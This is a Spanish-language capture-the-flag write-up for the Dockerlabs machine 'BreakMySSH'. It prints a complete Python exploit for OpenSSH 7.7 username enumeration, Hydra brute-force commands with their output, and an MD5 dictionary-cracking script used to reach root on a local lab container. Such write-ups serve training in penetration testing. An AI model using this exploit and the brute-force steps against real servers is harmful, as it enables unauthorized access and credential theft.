BreakMySSH
TAG -> Dockerlabs | CTF
Verificamos que la maquina este activa:
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.105 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.105/0.105/0.105/0.000 ms
Como podemos ver, el servidor nos responde y su TTL es de 64 posiblemente Linux, procedemos a crear nuestras carpetas de trabajo con mkt
y entramos en recognition.
❯ PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt
[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):
[!] Puerto 22 abierto!
[+] Port: 1000 / 1000
[+] Lista de puertos abiertos: [22]
[+] Información de servicios y versiones:
[+] 22/tcp ssh OpenSSH 7.7 (protocol 2.0)
[+] Comprobando vulnerabilidades:
[!] SSH posiblemente vulnerable: Enumeración de usuarios
[*] Evidencia guardada en recognition.txt
Al parecer la maquina victima tiene una versión vulnerable de OpenSSH que nos permite enumerar usuarios validos, procedemos con la enumeración.
❯ EnumUserSSH -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt 172.17.0.2
[+] mail usuario valido!
[+] root usuario valido!
[+] news usuario valido!
[+] man usuario valido!
[+] bin usuario valido!
[+] games usuario valido!
[+] nobody usuario valido!
[+] lovely usuario valido!
El código que utilice es el siguiente:
#!/usr/bin/env python3
import argparse, logging, paramiko, socket, sys, os
class InvalidUsername(Exception):
pass
# malicious function to malform packet
def add_boolean(*args, **kwargs):
pass
# function that'll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
# malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_service_accept(*args, **kwargs)
paramiko.message.Message.add_boolean = old_add_boolean
return result
# call when username was invalid
def invalid_username(*args, **kwargs):
raise InvalidUsername()
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username
# Print valid users found out so far
def print_result(valid_users):
if(valid_users):
print("Valid Users: ")
for user in valid_users:
print(user)
else:
print("No valid user detected.")
# perform authentication with malicious packet and username
def check_user(username):
try:
sock = socket.socket()
sock.connect((args.target, int(args.port)))
transport = paramiko.transport.Transport(sock)
transport.start_client(timeout=0.5)
except paramiko.ssh_exception.SSHException:
print('[!] Failed to negotiate SSH transport')
sys.exit(2)
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
except paramiko.ssh_exception.AuthenticationException:
print("[+] {} usuario valido! ".format(username))
return True
except:
print("[!] probando usuario {} ".format(username), end="\r")
return False
def check_userlist(wordlist_path):
if os.path.isfile(wordlist_path):
valid_users = []
with open(wordlist_path) as f:
for line in f:
username = line.rstrip()
try:
if(check_user(username)):
valid_users.append(username)
except KeyboardInterrupt:
print("Enumeration aborted by user!")
break;
print_result(valid_users)
else:
print("[-] {} is an invalid wordlist file".format(wordlist_path))
sys.exit(2)
# remove paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)')
parser.add_argument('target', help="IP address of the target system")
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
parser.add_argument('-u', '--user', dest='username', help="Username to check for validity.")
parser.add_argument('-w', '--wordlist', dest='wordlist', help="username wordlist")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if args.wordlist:
check_userlist(args.wordlist)
elif args.username:
check_user(args.username)
else:
print("[-] Username or wordlist must be specified!\n")
parser.print_help()
sys.exit(1)
Este código funciona con las versiones paramiko 2.11.0, puede instalar esta versión usando pip, es recomendable usar un entorno env de Python para evitar conflictos.
pip install paramiko==2.11.0
En cuanto a los resultados nos llama la atención el usuario lovely, intentaremos con Hydra hacer fuerza bruta a su contraseña.
❯ hydra -l lovely -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -f -V -t 4
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-12 01:50:14
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "iloveyou" - 5 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "princess" - 6 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "1234567" - 7 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "rockyou" - 8 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "12345678" - 9 of 14344399 [child 0] (0/0)
[22][ssh] host: 172.17.0.2 login: lovely password: rockyou
[STATUS] attack finished for 172.17.0.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-12 01:50:16
Al parecer la contraseña de lovely es rockyou, procedemos a guardar estas credenciales en un archivo y nos logemos por ssh.
❯ ssh lovely@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
lovely@172.17.0.2's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lovely@27b70f053e46:~$ whoami
lovely
lovely@27b70f053e46:~$
Después de indagar un rato encuentro un hash oculto dentro de la carpeta /opt, lo podemos encontrar de 2 maneras una ejecutando el comando find de la siguiente manera:
lovely@27b70f053e46:/opt$ find / -name "*hash*" -type f 2>/dev/null /opt/.hash
/proc/sys/net/core/txrehash
/proc/sys/net/ipv4/fib_multipath_hash_fields
/proc/sys/net/ipv4/fib_multipath_hash_policy
/proc/sys/net/ipv4/tcp_child_ehash_entries
/proc/sys/net/ipv4/tcp_ehash_entries
/proc/sys/net/ipv4/tcp_plb_idle_rehash_rounds
/proc/sys/net/ipv4/tcp_plb_rehash_rounds
/proc/sys/net/ipv4/udp_child_hash_entries
/proc/sys/net/ipv4/udp_hash_entries
/proc/sys/net/ipv6/fib_multipath_hash_fields
/proc/sys/net/ipv6/fib_multipath_hash_policy
/sys/kernel/btf/algif_hash
/sys/kernel/btf/ghash_clmulni_intel
/sys/module/nf_conntrack/parameters/expect_hashsize
/sys/module/nf_conntrack/parameters/hashsize
/sys/module/apparmor/parameters/hash_policy
/sys/module/ima/parameters/ahash_minsize
/sys/module/ima/parameters/ahash_bufsize
/sys/module/kvm/parameters/vector_hashing
O podríamos buscar en las carpetas raíz hasta encontrar algo, copiamos el contenido de .hash
y se lo pasamos a hashid.
❯ hashid 'aa87ddc5b4c24406d26ddad771ef44b0'
Analyzing 'aa87ddc5b4c24406d26ddad771ef44b0'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
Dice que puede ser un MD2, MD5 o MD4 verificaremos con MD5 primero, cabe resaltar que la intrusión de esta maquina tambien se puede hacer de otra forma, en la cual haciendo fuerza bruta al usuario root con Hydra, obtendríamos la contraseña.
Usando Hydra contra el usuario root
❯ hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 4 -V -f
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-12 02:12:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[ATTEMPT] target 172.17.0.2 - login "root" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "iloveyou" - 5 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "alexis" - 102 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "jesus" - 103 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "estrella" - 104 of 14344399 [child 3] (0/0)
[22][ssh] host: 172.17.0.2 login: root password: estrella
[STATUS] attack finished for 172.17.0.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-12 02:14:20
Usando un script para descifrar el hash
Por ejemplo, podemos crear un script como el siguiente (Es mejorable):
#!/usr/bin/env python3
import hashlib, signal, sys
def handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, handler)
banner = r'''
__ __ ____ ____ ____ _ _
| \/ | _ \| ___| / ___|_ __ __ _ ___| | _(_)_ __ __ _
| |\/| | | | |___ \ | | | '__/ _` |/ __| |/ / | '_ \ / _` |
| | | | |_| |___) | | |___| | | (_| | (__| <| | | | | (_| |
|_| |_|____/|____/___\____|_| \__,_|\___|_|\_\_|_| |_|\__, |
|_____| |___/
Anonymous17
'''
print(banner)
encontrado = 0
input_hash = input("\n [*] Inserte la contraseña hasheada: ")
pass_doc = input(" [*] Inserte el diccionario: ")
try:
pass_file = open(pass_doc, 'r', encoding="utf-8", errors="ignore")
except FileNotFoundError:
print(f" [!] Error: {pass_doc} no ha sido encontrado")
sys.exit(1)
for palabra in pass_file:
palabra = palabra.strip() # Elimina espacios y saltos de línea
palabra_cifrada = palabra.encode('utf-8')
palabra_hasheada = hashlib.md5(palabra_cifrada) # No necesitas `.strip()` aquí
digest = palabra_hasheada.hexdigest()
if digest == input_hash:
print(" [+] Contraseña encontrada!!!")
print(f" [+] La contraseña es: {palabra}\n")
encontrado = 1
break
pass_file.close()
if not encontrado:
print(" [!] Contraseña no encontrada en el diccionario...")
Su funcionamiento seri así:
❯ python PassCracker.py
__ __ ____ ____ ____ _ _
| \/ | _ \| ___| / ___|_ __ __ _ ___| | _(_)_ __ __ _
| |\/| | | | |___ \ | | | '__/ _` |/ __| |/ / | '_ \ / _` |
| | | | |_| |___) | | |___| | | (_| | (__| <| | | | | (_| |
|_| |_|____/|____/___\____|_| \__,_|\___|_|\_\_|_| |_|\__, |
|_____| |___/
Anonymous17
[*] Inserte la contraña hasheada: aa87ddc5b4c24406d26ddad771ef44b0
[*] Inserte el diccionario: /usr/share/wordlists/rockyou.txt
[+] Contraseña encontrada!!!
[+] La contraseña es: estrella
Y por ultimo nos volvemos root para confirmar y terminar esta maquina.
lovely@27b70f053e46:~$ su root
Password:
root@27b70f053e46:/home/lovely# whoami
root
Last updated